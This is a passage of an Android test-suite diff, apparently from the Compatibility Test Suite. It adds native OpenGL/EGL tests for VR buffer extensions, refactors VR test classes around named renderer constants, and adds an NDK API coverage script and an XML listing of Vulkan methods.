+ LOAD_PROC(eglGetNativeClientBufferANDROID,
+ PFNEGLGETNATIVECLIENTBUFFERANDROID);
+ ASSERT_NE(eglGetNativeClientBufferANDROID, nullptr);
+ LOAD_PROC(eglCreateImageKHR, PFNEGLCREATEIMAGEKHRPROC);
+ ASSERT_NE(eglCreateImageKHR, nullptr);
+ LOAD_PROC(glFramebufferTextureMultiviewOVR,
+ PFNGLFRAMEBUFFERTEXTUREMULTIVIEWOVRPROC);
+ ASSERT_NE(glFramebufferTextureMultiviewOVR, nullptr);
+ LOAD_PROC(glFramebufferTextureMultisampleMultiviewOVR,
+ PFNGLFRAMEBUFFERTEXTUREMULTISAMPLEMULTIVIEWOVRPROC);
+ ASSERT_NE(glFramebufferTextureMultisampleMultiviewOVR, nullptr);
+ // Try creating a 32x32 AHardwareBuffer and attaching it to a multiview
+ // framebuffer, with various formats and depths.
+ AHardwareBuffer_Desc desc = {};
+ desc.width = 32;
+ desc.height = 32;
+ desc.usage = AHARDWAREBUFFER_USAGE_GPU_SAMPLED_IMAGE |
+ AHARDWAREBUFFER_USAGE_GPU_COLOR_OUTPUT;
+ const int layers[] = {2, 4};
+ const int formats[] = {
+ AHARDWAREBUFFER_FORMAT_R5G6B5_UNORM,
+ AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM,
+ // Do not test AHARDWAREBUFFER_FORMAT_BLOB, it isn't color-renderable.
+ };
+ const int samples[] = {1, 2, 4};
+ for (int nsamples : samples) {
+ for (auto nlayers : layers) {
+ for (auto format : formats) {
+ desc.layers = nlayers;
+ desc.format = format;
+ testEglImageArray(env, desc, nsamples);
+ }
+ }
+ }
+}
+
+static void testExternalBuffer(JNIEnv* env, uint64_t usage, bool write_hwbuffer,
+ const std::string& test_string) {
+ // Create a blob AHardwareBuffer suitable for holding the string.
+ AHardwareBuffer_Desc desc = {};
+ desc.width = test_string.size();
+ desc.height = 1;
+ desc.layers = 1;
+ desc.format = AHARDWAREBUFFER_FORMAT_BLOB;
+ desc.usage = usage;
+ AHardwareBuffer* hwbuffer = nullptr;
+ int error = AHardwareBuffer_allocate(&desc, &hwbuffer);
+ ASSERT_EQ(error, NO_ERROR);
+ // Create EGLClientBuffer from the AHardwareBuffer.
+ EGLClientBuffer native_buffer = eglGetNativeClientBufferANDROID(hwbuffer);
+ ASSERT_TRUE(native_buffer);
+ // Create uniform buffer from EGLClientBuffer.
+ const GLbitfield flags = GL_MAP_READ_BIT | GL_MAP_WRITE_BIT |
+ GL_MAP_COHERENT_BIT_EXT | GL_MAP_PERSISTENT_BIT_EXT;
+ GLuint buf = 0;
+ glGenBuffers(1, &buf);
+ glBindBuffer(GL_UNIFORM_BUFFER, buf);
+ ASSERT_EQ(glGetError(), GL_NO_ERROR);
+ const GLsizeiptr bufsize = desc.width * desc.height;
+ glBufferStorageExternalEXT(GL_UNIFORM_BUFFER, 0,
+ bufsize, native_buffer, flags);
+ ASSERT_EQ(glGetError(), GL_NO_ERROR);
+ // Obtain a writeable pointer using either OpenGL or the Android API,
+ // then copy the test string into it.
+ if (write_hwbuffer) {
+ void* data = nullptr;
+ error = AHardwareBuffer_lock(hwbuffer,
+ AHARDWAREBUFFER_USAGE_CPU_READ_RARELY, -1,
+ NULL, &data);
+ ASSERT_EQ(error, NO_ERROR);
+ ASSERT_TRUE(data);
+ memcpy(data, test_string.c_str(), test_string.size());
+ error = AHardwareBuffer_unlock(hwbuffer, nullptr);
+ ASSERT_EQ(error, NO_ERROR);
+ } else {
+ void* data =
+ glMapBufferRange(GL_UNIFORM_BUFFER, 0, bufsize,
+ GL_MAP_WRITE_BIT | GL_MAP_INVALIDATE_BUFFER_BIT_EXT);
+ ASSERT_EQ(glGetError(), GL_NO_ERROR);
+ ASSERT_TRUE(data);
+ memcpy(data, test_string.c_str(), test_string.size());
+ glUnmapBuffer(GL_UNIFORM_BUFFER);
+ ASSERT_EQ(glGetError(), GL_NO_ERROR);
+ }
+ // Obtain a readable pointer and verify the data.
+ void* data = glMapBufferRange(GL_UNIFORM_BUFFER, 0, bufsize, GL_MAP_READ_BIT);
+ ASSERT_TRUE(data);
+ ASSERT_EQ(strncmp(static_cast<char*>(data), test_string.c_str(),
+ test_string.size()), 0);
+ glUnmapBuffer(GL_UNIFORM_BUFFER);
+ ASSERT_EQ(glGetError(), GL_NO_ERROR);
+ AHardwareBuffer_release(hwbuffer);
+}
+
+extern "C" JNIEXPORT void JNICALL
+Java_android_vr_cts_VrExtensionBehaviorTest_nativeTestExternalBuffer(
+ JNIEnv* env, jclass /* unused */) {
+ // First, check for EXT_external_buffer in the extension string.
+ auto exts = reinterpret_cast<const char*>(glGetString(GL_EXTENSIONS));
+ ASSERT_TRUE(exts && strstr(exts, "GL_EXT_external_buffer"));
+ // Next, load entry points provided by extensions.
+ LOAD_PROC(eglGetNativeClientBufferANDROID, PFNEGLGETNATIVECLIENTBUFFERANDROID);
+ ASSERT_NE(eglGetNativeClientBufferANDROID, nullptr);
+ LOAD_PROC(glBufferStorageExternalEXT, PFNGLBUFFERSTORAGEEXTERNALEXTPROC);
+ ASSERT_NE(glBufferStorageExternalEXT, nullptr);
+ LOAD_PROC(glMapBufferRange, PFNGLMAPBUFFERRANGEPROC);
+ ASSERT_NE(glMapBufferRange, nullptr);
+ LOAD_PROC(glUnmapBuffer, PFNGLUNMAPBUFFERPROC);
+ ASSERT_NE(glUnmapBuffer, nullptr);
+ const uint64_t usage = AHARDWAREBUFFER_USAGE_CPU_WRITE_OFTEN |
+ AHARDWAREBUFFER_USAGE_CPU_READ_RARELY |
+ AHARDWAREBUFFER_USAGE_GPU_DATA_BUFFER |
+ AHARDWAREBUFFER_USAGE_SENSOR_DIRECT_DATA;
+ const std::string test_string = "Hello, world.";
+ // First try writing to the buffer using OpenGL, then try writing to it via
+ // the AHardwareBuffer API.
+ testExternalBuffer(env, usage, false, test_string);
+ testExternalBuffer(env, usage, true, test_string);
+}
diff --git a/tests/vr/src/android/vr/cts/OpenGLESActivity.java b/tests/vr/src/android/vr/cts/OpenGLESActivity.java
index 2879114..4c67700 100644
--- a/tests/vr/src/android/vr/cts/OpenGLESActivity.java
+++ b/tests/vr/src/android/vr/cts/OpenGLESActivity.java
@@ -54,6 +54,10 @@
public static final int EGL_MUTABLE_RENDER_BUFFER_BIT = 0x1000;
private static final int EGL_OPENGL_ES3_BIT_KHR = 0x40;
+ public static final int RENDERER_BASIC = 1;
+ public static final int RENDERER_PROTECTEDTEXTURES = 2;
+ public static final int RENDERER_REFRESHRATE = 3;
+
OpenGLES20View mView;
Renderer mRenderer;
int mRendererType;
@@ -183,7 +187,7 @@
class OpenGLES20View extends GLSurfaceView {
- public OpenGLES20View(Context context, int index, int protectedAttribute,
+ public OpenGLES20View(Context context, int renderer, int protectedAttribute,
int priorityAttribute, int mutableAttribute, CountDownLatch latch) {
super(context);
setEGLContextClientVersion(2);
@@ -198,11 +202,11 @@
}
- if (index == 1) {
+ if (renderer == RENDERER_BASIC) {
mRenderer = new RendererBasicTest(latch);
- } else if (index == 2) {
+ } else if (renderer == RENDERER_PROTECTEDTEXTURES) {
mRenderer = new RendererProtectedTexturesTest(latch);
- } else if (index == 3) {
+ } else if (renderer == RENDERER_REFRESHRATE) {
mRenderer = new RendererRefreshRateTest(latch);
} else {
throw new RuntimeException();
diff --git a/tests/vr/src/android/vr/cts/RendererProtectedTexturesTest.java b/tests/vr/src/android/vr/cts/RendererProtectedTexturesTest.java
index 8b0788b..2a24ec0 100644
--- a/tests/vr/src/android/vr/cts/RendererProtectedTexturesTest.java
+++ b/tests/vr/src/android/vr/cts/RendererProtectedTexturesTest.java
@@ -32,7 +32,7 @@
+ "} \n";
private String fragmentShaderCode = "precision mediump float; \n"
- + "sampler2D protectedTexture;\n"
+ + "uniform sampler2D protectedTexture;\n"
+ "void main(){ \n"
+ " gl_FragColor = texture2D(protectedTexture, vec2(0.76953125, 0.22265625)); \n"
+ "} \n";
@@ -72,4 +72,3 @@
GLES20.glUniform1i(loc, 2);
}
}
-
diff --git a/tests/vr/src/android/vr/cts/VrDisplayTest.java b/tests/vr/src/android/vr/cts/VrDisplayTest.java
index cda10f7..16de706 100644
--- a/tests/vr/src/android/vr/cts/VrDisplayTest.java
+++ b/tests/vr/src/android/vr/cts/VrDisplayTest.java
@@ -55,7 +55,7 @@
public void testRefreshRateIsAtLeast60Hz() throws Throwable {
final int NUM_FRAMES = 200;
// Add an extra frame to allow the activity to start up.
- mActivity = getGlEsActivity(NUM_FRAMES + 1, 3);
+ mActivity = getGlEsActivity(NUM_FRAMES + 1, OpenGLESActivity.RENDERER_REFRESHRATE);
if (!mActivity.supportsVrHighPerformance())
return;
@@ -78,12 +78,11 @@
*/
@CddTest(requirement="7.9.2/C-1-14")
public void testDisplayResolution() {
- mActivity = getGlEsActivity(1, 1);
+ mActivity = getGlEsActivity(1, OpenGLESActivity.RENDERER_BASIC);
if (!mActivity.supportsVrHighPerformance())
return;
- Context context = mActivity.getApplicationContext();
- WindowManager windowManager = (WindowManager)context.getSystemService(
+ WindowManager windowManager = (WindowManager)mActivity.getSystemService(
Context.WINDOW_SERVICE);
DisplayMetrics metrics = new DisplayMetrics();
diff --git a/tests/vr/src/android/vr/cts/VrExtensionBehaviorTest.java b/tests/vr/src/android/vr/cts/VrExtensionBehaviorTest.java
index 31f2997..e7dafa2 100644
--- a/tests/vr/src/android/vr/cts/VrExtensionBehaviorTest.java
+++ b/tests/vr/src/android/vr/cts/VrExtensionBehaviorTest.java
@@ -20,9 +20,12 @@
import android.opengl.GLES32;
import android.test.ActivityInstrumentationTestCase2;
-import java.nio.IntBuffer;
+import com.android.compatibility.common.util.CddTest;
public class VrExtensionBehaviorTest extends ActivityInstrumentationTestCase2<OpenGLESActivity> {
+ static {
+ System.loadLibrary("ctsvrextensions_jni");
+ }
private static final int EGL_CONTEXT_PRIORITY_HIGH_IMG = 0x3101;
private static final int EGL_CONTEXT_PRIORITY_MEDIUM_IMG = 0x3102;
@@ -52,8 +55,9 @@
/**
* Tests that protected content contexts and surfaces can be created.
*/
+ @CddTest(requirement="7.9.2/C-1-6")
public void testProtectedContent() throws Throwable {
- mActivity = getGlEsActivity(1, 1, 0, 0);
+ mActivity = getGlEsActivity(OpenGLESActivity.RENDERER_BASIC, 1, 0, 0);
if (!mActivity.supportsVrHighPerformance())
return;
@@ -76,8 +80,9 @@
/**
* Tests that textures can be marked as protected.
*/
+ @CddTest(requirement="7.9.2/C-1-8")
public void testProtectedTextures() throws Throwable {
- mActivity = getGlEsActivity(2, 1, 0, 0);
+ mActivity = getGlEsActivity(OpenGLESActivity.RENDERER_PROTECTEDTEXTURES, 1, 0, 0);
if (!mActivity.supportsVrHighPerformance())
return;
@@ -103,6 +108,7 @@
/**
* Tests that context priority can be set to high.
*/
+ @CddTest(requirement="7.9.2/C-1-6")
public void testContextPriorityHigh() throws Throwable {
runContextPriorityTest(EGL_CONTEXT_PRIORITY_HIGH_IMG);
}
@@ -110,6 +116,7 @@
/**
* Tests that context priority can be set to medium.
*/
+ @CddTest(requirement="7.9.2/C-1-6")
public void testContextPriorityMedium() throws Throwable {
runContextPriorityTest(EGL_CONTEXT_PRIORITY_MEDIUM_IMG);
}
@@ -117,6 +124,7 @@
/**
* Tests that context priority can be set to low.
*/
+ @CddTest(requirement="7.9.2/C-1-6")
public void testContextPriorityLow() throws Throwable {
runContextPriorityTest(EGL_CONTEXT_PRIORITY_LOW_IMG);
}
@@ -124,9 +132,10 @@
/**
* Tests that context priority can be set to low.
*/
+ @CddTest(requirement="7.9.2/C-1-6")
public void testMutableRenderBuffer() throws Throwable {
- mActivity = getGlEsActivity(1, 0, 0, 1);
+ mActivity = getGlEsActivity(OpenGLESActivity.RENDERER_BASIC, 0, 0, 1);
if (!mActivity.supportsVrHighPerformance())
return;
@@ -155,10 +164,50 @@
}
/**
+ * Test that a layered EGLImage can be created and attached to a FBO.
+ * For more information, see the EGL_image_array spec:
+ * https://www.khronos.org/registry/OpenGL/extensions/EXT/EXT_EGL_image_array.txt
+ */
+ @CddTest(requirement="7.9.2/C-1-8,C-1-10")
+ public void testEglImageArray() throws Throwable {
+ mActivity = getGlEsActivity(OpenGLESActivity.RENDERER_BASIC, 0, 0, 0);
+ if (!mActivity.supportsVrHighPerformance())
+ return;
+
+ assertEquals(GLES32.GL_NO_ERROR, mActivity.glGetError());
+
+ mActivity.runOnGlThread(new Runnable() {
+ public void run() {
+ nativeTestEglImageArray();
+ }
+ });
+ }
+
+ /**
+ * Test that an external buffer can be created, written to, and read from.
+ * For more information, see the GL_EXT_external_buffer spec:
+ * https://www.khronos.org/registry/OpenGL/extensions/EXT/EXT_external_buffer.txt
+ */
+ @CddTest(requirement="7.9.2/C-1-8")
+ public void testExternalBuffer() throws Throwable {
+ mActivity = getGlEsActivity(OpenGLESActivity.RENDERER_BASIC, 0, 0, 0);
+ if (!mActivity.supportsVrHighPerformance())
+ return;
+
+ assertEquals(GLES32.GL_NO_ERROR, mActivity.glGetError());
+
+ mActivity.runOnGlThread(new Runnable() {
+ public void run() {
+ nativeTestExternalBuffer();
+ }
+ });
+ }
+
+ /**
* Runs a context priority test.
*/
private void runContextPriorityTest(int priority) throws Throwable {
- mActivity = getGlEsActivity(1, 0, priority, 0);
+ mActivity = getGlEsActivity(OpenGLESActivity.RENDERER_BASIC, 0, priority, 0);
if (!mActivity.supportsVrHighPerformance())
return;
@@ -181,4 +230,7 @@
EGL14.eglSwapBuffers(EGL14.eglGetDisplay(EGL14.EGL_DEFAULT_DISPLAY),
EGL14.eglGetCurrentSurface(EGL14.EGL_DRAW));
}
+
+ private static native boolean nativeTestEglImageArray();
+ private static native boolean nativeTestExternalBuffer();
}
diff --git a/tests/vr/src/android/vr/cts/VrSetFIFOThreadTest.java b/tests/vr/src/android/vr/cts/VrSetFIFOThreadTest.java
index bdcf5dc..9fd01b1 100644
--- a/tests/vr/src/android/vr/cts/VrSetFIFOThreadTest.java
+++ b/tests/vr/src/android/vr/cts/VrSetFIFOThreadTest.java
@@ -26,12 +26,7 @@
import android.os.RemoteException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
-import java.util.Collections;
-import java.util.LinkedList;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
import android.provider.Settings;
-import com.android.compatibility.common.util.SystemUtil;
import com.android.cts.verifier.vr.MockVrListenerService;
public class VrSetFIFOThreadTest extends ActivityInstrumentationTestCase2<OpenGLESActivity> {
@@ -39,18 +34,11 @@
private ActivityManager mActivityManager;
private Context mContext;
private String mOldVrListener;
- private boolean mPersistentVrModeEnabled;
private static final int SCHED_OTHER = 0;
private static final int SCHED_FIFO = 1;
private static final int SCHED_RESET_ON_FORK = 0x40000000;
public static final String ENABLED_VR_LISTENERS = "enabled_vr_listeners";
private static final String TAG = "VrSetFIFOThreadTest";
- private static final String DUMP_VRMANAGER = "dumpsys vrmanager";
- private static final Pattern sVrManagerModePattern =
- Pattern.compile("Persistent VR mode is currently: (\\w+).*");
-
- /** Temp storage used for parsing. */
- final LinkedList<String> mDumpLines = new LinkedList<>();
public VrSetFIFOThreadTest() {
super(OpenGLESActivity.class);
@@ -60,14 +48,7 @@
public void setUp() throws Exception {
super.setUp();
mContext = getInstrumentation().getTargetContext();
- mOldVrListener = Settings.Secure.getString(mContext.getContentResolver(),
- ENABLED_VR_LISTENERS);
- String result = SystemUtil.runShellCommand(getInstrumentation(), DUMP_VRMANAGER);
- mDumpLines.clear();
- Collections.addAll(mDumpLines, result.split("\\n"));
- if ("enabled".equals(parseVrManagerDumpsys(mDumpLines))) {
- mPersistentVrModeEnabled = true;
- }
+ mOldVrListener = Settings.Secure.getString(mContext.getContentResolver(), ENABLED_VR_LISTENERS);
}
@Override
@@ -77,17 +58,6 @@
super.tearDown();
}
- private String parseVrManagerDumpsys(LinkedList<String> dump) {
- while (!dump.isEmpty()) {
- final String line = dump.pop().trim();
- Matcher matcher = sVrManagerModePattern.matcher(line);
- if (matcher.matches()) {
- return matcher.group(1);
- }
- }
- return null;
- }
-
private void setIntent(int viewIndex, int createProtected,
int priorityAttribute, int mutableAttribute) {
Intent intent = new Intent();
@@ -99,11 +69,7 @@
}
public void testSetVrThreadAPISuccess() throws Throwable {
- // This API is not meant for persistent vr mode.
- if (mPersistentVrModeEnabled) {
- return;
- }
- setIntent(1, 1, 0, 0);
+ setIntent(OpenGLESActivity.RENDERER_BASIC, 1, 0, 0);
ComponentName requestedComponent = new ComponentName(mContext, MockVrListenerService.class);
Settings.Secure.putString(mContext.getContentResolver(),
ENABLED_VR_LISTENERS,
@@ -126,11 +92,7 @@
}
public void testSetVrThreadAPIFailure() throws Throwable {
- // This API is not meant for persistent vr mode.
- if (mPersistentVrModeEnabled) {
- return;
- }
- setIntent(1, 1, 0, 0);
+ setIntent(OpenGLESActivity.RENDERER_BASIC, 1, 0, 0);
ComponentName requestedComponent = new ComponentName(mContext, MockVrListenerService.class);
Settings.Secure.putString(mContext.getContentResolver(),
ENABLED_VR_LISTENERS,
diff --git a/tools/cts-api-coverage/Android.mk b/tools/cts-api-coverage/Android.mk
index 3f66961..c66f7d4 100644
--- a/tools/cts-api-coverage/Android.mk
+++ b/tools/cts-api-coverage/Android.mk
@@ -20,8 +20,11 @@
LOCAL_IS_HOST_MODULE := true
LOCAL_MODULE_CLASS := EXECUTABLES
LOCAL_MODULE := cts-api-coverage
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-common-util-devicesidelib
LOCAL_SRC_FILES := etc/$(LOCAL_MODULE)
LOCAL_ADDITIONAL_DEPENDENCIES := $(HOST_OUT_JAVA_LIBRARIES)/$(LOCAL_MODULE)$(COMMON_JAVA_PACKAGE_SUFFIX)
+
include $(BUILD_PREBUILT)
# the other stuff
diff --git a/tools/cts-api-coverage/etc/ndk-api-report b/tools/cts-api-coverage/etc/ndk-api-report
new file mode 100755
index 0000000..5d12bd3
--- /dev/null
+++ b/tools/cts-api-coverage/etc/ndk-api-report
@@ -0,0 +1,46 @@
+#!/bin/bash
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# Set up prog to be the path of this script, including following symlinks,
+# and set up progdir to be the fully-qualified pathname of its directory.
+prog="$0"
+while [ -h "${prog}" ]; do
+ newProg=`/bin/ls -ld "${prog}"`
+ newProg=`expr "${newProg}" : ".* -> \(.*\)$"`
+ if expr "x${newProg}" : 'x/' >/dev/null; then
+ prog="${newProg}"
+ else
+ progdir=`dirname "${prog}"`
+ prog="${progdir}/${newProg}"
+ fi
+done
+oldwd=`pwd`
+progdir=`dirname "${prog}"`
+cd "${progdir}"
+progdir=`pwd`
+prog="${progdir}"/`basename "${prog}"`
+cd "${oldwd}"
+
+libdir=`dirname $progdir`/framework
+
+javaOpts=""
+while expr "x$1" : 'x-J' >/dev/null; do
+ opt=`expr "$1" : '-J\(.*\)'`
+ javaOpts="${javaOpts} -${opt}"
+ shift
+done
+
+exec java $javaOpts -cp $libdir/cts-api-coverage.jar com.android.cts.apicoverage.NdkApiXmlReport "$@"
diff --git a/tools/cts-api-coverage/etc/ndk-api.xml b/tools/cts-api-coverage/etc/ndk-api.xml
new file mode 100644
index 0000000..ec8eff1
--- /dev/null
+++ b/tools/cts-api-coverage/etc/ndk-api.xml
@@ -0,0 +1,3407 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<api>
+ <package name="ndk">
+ <class abstract="false" deprecated="not deprecated" final="true" name="libvulkan.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateBufferView" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkResetCommandBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceQueueFamilyProperties" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateComputePipelines" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyImageView" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceSurfaceSupportKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkResetEvent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdEndQuery" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdExecuteCommands" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroySwapchainKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceFormatProperties" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyShaderModule" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetInstanceProcAddr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdBindDescriptorSets" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdSetEvent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyDescriptorPool" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyInstance" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreatePipelineLayout" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkQueueBindSparse" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdBeginQuery" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdCopyBufferToImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceSurfaceFormatsKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdResolveImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdSetStencilCompareMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetDeviceQueue" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdBeginRenderPass" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetImageSubresourceLayout" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateInstance" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkFlushMappedMemoryRanges" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyPipeline" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdBindIndexBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyDescriptorSetLayout" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkAllocateMemory" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroySemaphore" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetSwapchainImagesKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdDraw" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdBlitImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkBeginCommandBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkAllocateCommandBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyFramebuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroySampler" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkFreeCommandBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkEnumerateDeviceExtensionProperties" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetRenderAreaGranularity" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkResetFences" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyEvent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdSetDepthBias" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdSetBlendConstants" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkUpdateDescriptorSets" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkQueueSubmit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkQueuePresentKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateGraphicsPipelines" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkEndCommandBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkInvalidateMappedMemoryRanges" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyCommandPool" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkEnumeratePhysicalDevices" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdFillBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkEnumerateDeviceLayerProperties" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceMemoryProperties" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPipelineCacheData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkMergePipelineCaches" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdClearDepthStencilImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdDispatch" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdWriteTimestamp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateDevice" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetBufferMemoryRequirements" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetDeviceProcAddr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdCopyImageToBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceSurfacePresentModesKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vkEnumerateInstanceLayerProperties" native="true" return="na" static="false" synchronized="true" visibility="public"/>
